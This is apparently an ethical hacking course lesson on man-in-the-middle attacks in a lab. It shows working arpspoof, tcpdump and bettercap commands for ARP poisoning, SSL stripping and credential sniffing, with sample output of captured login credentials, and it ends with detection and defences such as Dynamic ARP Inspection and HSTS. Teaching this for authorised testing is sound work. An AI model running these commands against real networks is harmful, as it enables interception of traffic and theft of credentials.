Ethical Hacking
MITM Attacks
Sniffing captures traffic that happens to pass your way. A man-in-the-middle attack is more deliberate — you position yourself between two communicating parties and route all their traffic through your machine. Everything they send to each other, you read first.
How man-in-the-middle works
In a normal network conversation, packets travel directly between two hosts. A MITM attack inserts a third machine into that path — transparently forwarding traffic between the two parties while reading or modifying it. Neither party knows the attacker is there. From their perspective, the conversation is happening directly between them.
The key word is transparent. A MITM attack that breaks the connection is not a MITM — it is a denial of service. The attacker must forward traffic correctly while intercepting it, which requires the traffic to be actively routed through the attacker's machine rather than simply observed from the side.
ARP spoofing — poisoning the address table
The Address Resolution Protocol maps IP addresses to MAC addresses on a local network. When a device wants to send data to 192.168.56.101, it broadcasts an ARP request asking "who has 192.168.56.101?" The device with that IP responds with its MAC address, and the sender caches the mapping.
ARP has no authentication. Anyone can send an ARP reply claiming any IP belongs to their MAC address — and other devices will trust it. ARP spoofing exploits this by sending forged ARP replies to both the victim and the gateway, telling each one that the attacker's MAC address belongs to the other's IP. Both parties update their ARP cache and start sending all traffic to the attacker's machine instead of each other.
Enable IP forwarding on the attacker's machine and all that traffic gets forwarded to the real destination — transparently. The victim and gateway continue communicating normally. The attacker reads everything in between.
Victim
192.168.56.101
All traffic
Attacker
192.168.56.102
Reads & forwards
All traffic
Gateway
192.168.56.1
ARP cache of victim says: Gateway MAC = Attacker MAC
ARP cache of gateway says: Victim MAC = Attacker MAC
Performing ARP spoofing with arpspoof
The scenario: You have a position on the same network segment as Metasploitable. The lab gateway is 192.168.56.1. You want to intercept all traffic between Metasploitable and the gateway — read HTTP sessions, capture any credentials transmitted in plaintext, and demonstrate to the client that a compromised machine on their network can silently intercept all unencrypted communications from other hosts on the same segment.
# Step 1 — Enable IP forwarding on Kali
# Without this, traffic arriving at Kali for the victim stops here
# and the victim loses connectivity — which defeats the transparent interception goal
# echo 1 writes the value 1 to the kernel IP forwarding parameter
echo 1 > /proc/sys/net/ipv4/ip_forward
# Step 2 — Send forged ARP replies to the victim
# arpspoof tells the VICTIM that the GATEWAY's IP belongs to OUR MAC address
# -i eth0 use the eth0 interface
# -t 192.168.56.101 target = the victim (Metasploitable)
# 192.168.56.1 = the gateway IP we are impersonating to the victim
arpspoof -i eth0 -t 192.168.56.101 192.168.56.1 &
# Step 3 — Send forged ARP replies to the gateway
# arpspoof tells the GATEWAY that the VICTIM's IP belongs to OUR MAC address
# Now traffic from gateway to victim also routes through us
# Run this in a second terminal — both need to run simultaneously
arpspoof -i eth0 -t 192.168.56.1 192.168.56.101 &
# Step 4 — Capture the intercepted traffic with tcpdump or Wireshark
# All traffic between victim and gateway now flows through this machine
# Capture it and read it the same way as Lesson 30
tcpdump -i eth0 -w /tmp/mitm_capture.pcap \
host 192.168.56.101 and not port 22
0:0c:29:a1:4c:2e 0:0c:29:b2:5f:11 0806 42: arp reply 192.168.56.1 is-at 0:0c:29:a1:4c:2e 0:0c:29:a1:4c:2e 0:0c:29:c3:6d:8a 0806 42: arp reply 192.168.56.101 is-at 0:0c:29:a1:4c:2e tcpdump: listening on eth0, capture size 262144 bytes --- Captured session --- GET /dvwa/login.php HTTP/1.1 Host: 192.168.56.101 Cookie: PHPSESSID=abc123def456 POST /dvwa/login.php HTTP/1.1 Host: 192.168.56.101 username=admin&password=password&Login=Login
Breaking it down:
This is the forged ARP packet being sent to the victim. It tells the victim's ARP cache that the gateway's IP address belongs to the attacker's MAC address. From this point, every packet the victim sends "to the gateway" is actually sent to the attacker's machine. The victim has no way to detect this — ARP has no verification mechanism.
The victim submitted a login form over HTTP — not HTTPS. The POST body containing username=admin&password=password is fully visible in the intercepted traffic. This demonstrates the compound risk: a flat network segment plus plaintext HTTP equals credential exposure to any compromised machine on the same VLAN. Neither vulnerability alone is as severe as both together.
Excluding SSH traffic from the capture keeps your own Kali SSH session out of the output — otherwise every command you type over SSH would appear in the capture alongside the victim's traffic. This filter exclusion is a practical detail that matters when you are working remotely over SSH on the Kali machine.
SSL stripping — downgrading HTTPS to HTTP
Once positioned as a MITM, encrypted HTTPS traffic is still unreadable — the TLS encryption protects the content even if you intercept the packets. SSL stripping is a technique that exploits the moment when a user first navigates to a site — before HTTPS is established — to downgrade the connection to HTTP.
The attack works because browsers often initiate connections to websites over plain HTTP first, then get redirected to HTTPS. If an attacker intercepts that initial HTTP response and replaces the HTTPS link with HTTP, the browser connects over HTTP while the attacker connects to the real server over HTTPS — the user sees no obvious sign anything is wrong, but their traffic to the attacker is unencrypted.
HSTS — HTTP Strict Transport Security — was introduced specifically to defeat this attack. When a site has HSTS enabled and the browser has previously visited it, the browser refuses to connect over HTTP at all, regardless of what the attacker does to the connection. Modern browsers also maintain an HSTS preload list of high-profile sites that are forced to HTTPS before any connection is made. SSL stripping still works against sites without HSTS and against users connecting to a site for the first time.
# SSL stripping using bettercap — a modern MITM framework on Kali
# Requires ARP spoofing to already be running (or bettercap handles both)
# Active attack — only run in your authorised lab environment
# bettercap is an all-in-one MITM framework — handles ARP spoofing,
# SSL stripping, credential capturing, and packet modification together
# Launch bettercap targeting the lab network
# -iface eth0 the network interface to use
bettercap -iface eth0
# Once inside bettercap's interactive console:
# Turn on ARP spoofing — poisons the whole subnet by default
# net.probe on discovers hosts on the network
# arp.spoof on begins ARP poisoning on all discovered hosts
# Enable the SSL stripping module
# This intercepts HTTPS redirects and rewrites them to HTTP
# https.proxy on
# Enable credential sniffer — extracts credentials from intercepted HTTP traffic
# net.sniff on
# Or run all three as a single command when launching
bettercap -iface eth0 -eval "net.probe on; arp.spoof on; net.sniff on"
bettercap v2.32.0 [net.recon] new host: 192.168.56.101 (Metasploitable) [net.recon] new host: 192.168.56.1 (Gateway) [arp.spoof] poisoning 192.168.56.101 and 192.168.56.1 [net.sniff] intercepted credentials: 192.168.56.101 > 192.168.56.1 Protocol: HTTP POST URL: http://192.168.56.101/dvwa/login.php Username: admin Password: password
Breaking it down:
bettercap combines everything needed for a MITM into one interactive framework — host discovery, ARP poisoning, SSL stripping, and credential extraction. The net.sniff module automatically parses intercepted traffic and extracts credentials from HTTP, FTP, Telnet, and dozens of other protocols — presenting them cleanly rather than requiring manual packet analysis.
HSTS instructs the browser — via a response header — to always use HTTPS for this domain for a specified period. Once the browser has seen this header, it refuses all HTTP connections to the domain entirely. The SSL stripper never gets a chance to intervene because the browser insists on HTTPS from the start. HSTS preloading extends this to the first visit by building the list into the browser itself.
What MITM attacks expose beyond HTTP credentials
Credential harvesting gets the headlines, but a MITM position enables considerably more. Once positioned between two parties, an attacker can modify traffic in transit — not just read it. This opens up attack categories that passive sniffing cannot reach.
Content injection
Injecting malicious JavaScript into HTTP responses. When the victim loads a web page, the attacker's code is inserted into the HTML — running in the victim's browser in the context of the legitimate site. This can steal cookies, redirect form submissions, or silently download further payloads. Content injection via MITM is significantly more powerful than a standard XSS attack because it does not require the target site to have an XSS vulnerability — the attack happens at the network layer.
DNS spoofing
In a MITM position, DNS queries from the victim pass through the attacker's machine. Intercepting and modifying DNS responses redirects the victim to attacker-controlled servers instead of the legitimate ones. The victim types their bank's URL and gets the attacker's phishing page instead — with the legitimate hostname still showing in the address bar because the DNS response was modified, not the URL.
Session token theft
Even when a site uses HTTPS, if the session cookie lacks the Secure flag, it can be transmitted over HTTP during the downgraded connection. Capturing this cookie and replaying it in a browser allows the attacker to take over the victim's authenticated session — without ever knowing their password. This is MITM combined with session hijacking, covered in depth in Lesson 41.
NTLM relay
In Windows environments, NTLM authentication challenges intercepted during a MITM can be relayed to other services. The attacker captures a challenge-response authentication exchange from one service and immediately replays it against another — authenticating as the victim to a second system without ever cracking the password. Responder and ntlmrelayx are the standard tools for this technique in internal network engagements.
Detecting and preventing MITM attacks
ARP spoofing leaves traces. ARP cache monitoring tools detect the moment a cache entry changes unexpectedly — when the MAC address associated with the gateway IP suddenly changes to a different machine, that is a detection event. Dynamic ARP Inspection on managed switches validates ARP packets against a trusted DHCP binding table and drops spoofed ones before they reach hosts.
| Control | What it prevents | Limitation |
|---|---|---|
| Dynamic ARP Inspection | Switch validates ARP packets against the DHCP binding table and drops spoofed replies before they reach hosts | Requires managed switches; static IPs need manual configuration |
| HTTPS + HSTS | Encrypts traffic making interception unreadable; HSTS prevents SSL stripping by forcing HTTPS at the browser level | Only covers web traffic; other plaintext protocols remain exposed |
| Certificate pinning | Applications verify the server certificate against a pinned value — preventing interception using a rogue CA certificate even if the attacker has a trusted cert | Implementation overhead; breaks when legitimate certs rotate |
| Network segmentation | VLANs limit ARP spoofing blast radius — a compromised host can only target devices on the same VLAN, not the entire flat network | Does not prevent attacks within the same VLAN segment |
The table above reveals something important: no single control stops all MITM attacks. Dynamic ARP Inspection stops the spoofing but does not protect plaintext protocols. HTTPS stops credential exposure but does not stop DNS spoofing at the network layer. The only comprehensive defence is layering multiple controls — which also happens to be the argument pen testers make when clients push back on fixing "just one of these issues" at a time.
Teacher's Note: In real internal network engagements, ARP spoofing against a large subnet can destabilise network connectivity for legitimate users if not carefully targeted. Always specify the exact victim IP with the -t flag rather than poisoning the entire subnet. Broad ARP poisoning on a busy corporate network can cause noticeable packet loss — which is the kind of thing that gets a pen test noticed by the wrong people at the wrong time.
Quiz
Scenario:
Scenario:
Scenario:
Up Next · Lesson 32
DoS Attacks
Denial of service attack types, how volumetric and application-layer attacks differ, and how organisations defend against them at scale.